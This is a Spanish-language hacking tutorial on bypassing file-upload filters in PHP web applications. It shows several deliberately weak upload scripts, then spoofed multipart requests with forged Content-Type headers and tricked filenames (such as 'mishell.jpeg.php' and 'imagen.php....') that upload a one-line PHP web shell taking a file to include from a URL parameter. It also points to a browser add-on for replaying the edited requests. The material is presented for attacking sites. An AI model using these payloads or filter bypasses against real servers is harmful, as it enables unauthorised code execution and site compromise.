1.- Introduccion
Muchas veces me he encontrado con paginas con uploads que intentan filtrar el contenido y la extension del archivo para impedir que cualquiera pueda subir archivos .php por ejemplo. En este manual os enseñare algunos trucos para bypassear algunas maneras que usan para filtrar los archivos que son subidos.
2.- Metodos de filtrado que utilizan y sus vulnerabilidades:2.1.- Bypasseando uploads que usan ['type']<?php
$archivo = $HTTP_POST_FILES['archivo'];
$tipo = $archivo['type'];
if (!(strpos($tipo, "jpeg"))) {
echo'No aceptamos ese tipo de archivos';
}else{
if (move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
echo "Archivo subido correctamente "'>Archivo</a>";
}else{
echo "Imposible subir archivo";
}
}
?>
El codigo vulnerable esta situado en: $archivo['type']; Ya que type es extraido de los headers que envia el navegador al subir un archivo, Por ejemplo este es el contenido de post que envÃ*a mi firefox al subir una imagen a ese upload:
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
BMV\x80\x0e
Analicemoslo linea por linea:
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\nHay se especifica el nombre del archivo que se esta subiendo al upload: imagen.jpg
Content-Type: image/jpeg\r\nHay se especifica de que "tipo" es el archivo
En las siguientes lineas se dice cual es el contenido del archivo.
Si querriamos subir un archivo .php al servidor solamente tendriamos que mandar esta peticion:
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="mishell.php"\r\n
Content-Type: image/jpeg\r\n
\r\n
<?php include($_GET['c']); ?>
Si mandarÃ*amos esa petición al anterior upload conseguirÃ*amos subir mishell.php con éxito, para modificar las cabeceras que manda tu navegador puedes instalar este complemento en tu firefox:
https://addons.mozilla.org/es-ES/firefox/addon/3829Ese complemento capturara todas las peticiones que envié tu navegador, solo tienes que darle a repetir para editarlas.
2.2 Uploads que miran la extensión del archivo
Hay otro tipo de uploads que miran la extensión del archivo, aquÃ* os pongo un ejemplo:
<?php
$archivo = $HTTP_POST_FILES['archivo'];
$nombre = $archivo['name'];
$exploded = explode('.', $nombre);
$extension = $exploded['1'];
if (!($extension != 'jpg')) {
echo'No aceptamos ese tipo de archivos';
}else{
if (move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
echo "Archivo subido correctamente '".$archivo['name']."'>Archivo</a>";
}else{
echo "Imposible subir archivo";
}
}
?>
Ese es un ejemplo muy simple, hay bastarÃ*a con subir un archivo con nombre mishell.jpeg.php para bypassear su filtro.
AquÃ* pongo otro un poco mas complicado:
<?php
$archivo = $HTTP_POST_FILES['archivo'];
$nombre = $archivo['name'];
$extension = strrchr($nombre, '.');
if ($extension == 'php' or $extension == 'php5') {
echo'No aceptamos ese tipo de archivos';
}else{
if (move_uploaded_file($archivo['tmp_name'], $archivo['name'])){
echo "Archivo subido correctamente ".$archivo['name']."'>Archivo</a>";
}else{
echo "Imposible subir archivo";
}
}
?>
Ese upload denegarÃ*a subir la extensión .php pero nosotros queremos subir un archivo .php :p.
Si subiriamos un archivo llamado mishell.jpg.php no nos dejaria ya que usa $extension = strrchr($nombre, '.'); y hay nos denegarÃ*a la extension. Subir un archivo llamado mishell.php.jpg tampoco nos valdrÃ*a ya que .jpg no se ejecutaria en el servidor. La solución esta en subir un archivo llamado mishell.php.... por ejemplo asÃ* bypasseariamos el filtro y mishell.php.... podrÃ*a ser leÃ*do como php en el servidor, veamos como hacerlo:
Primero con el live http headers capturamos la petición que manda nuestro navegador al subir un archivo llamado mishell.jpg:
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.jpg"\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>
ahora le dariamos al boton que dice repetir y modificariamos la peticion asi:ç
-----------------------------24464570528145\r\n
Content-Disposition: form-data; name="archivo"; filename="imagen.php...."\r\n
Content-Type: image/jpeg\r\n
\r\n
<? include($_GET[s]); ?>
Así veríamos como imagen.php.... se a subido al servidor correctamente y si todo va bien se ejecutara como si fuera un archivo .php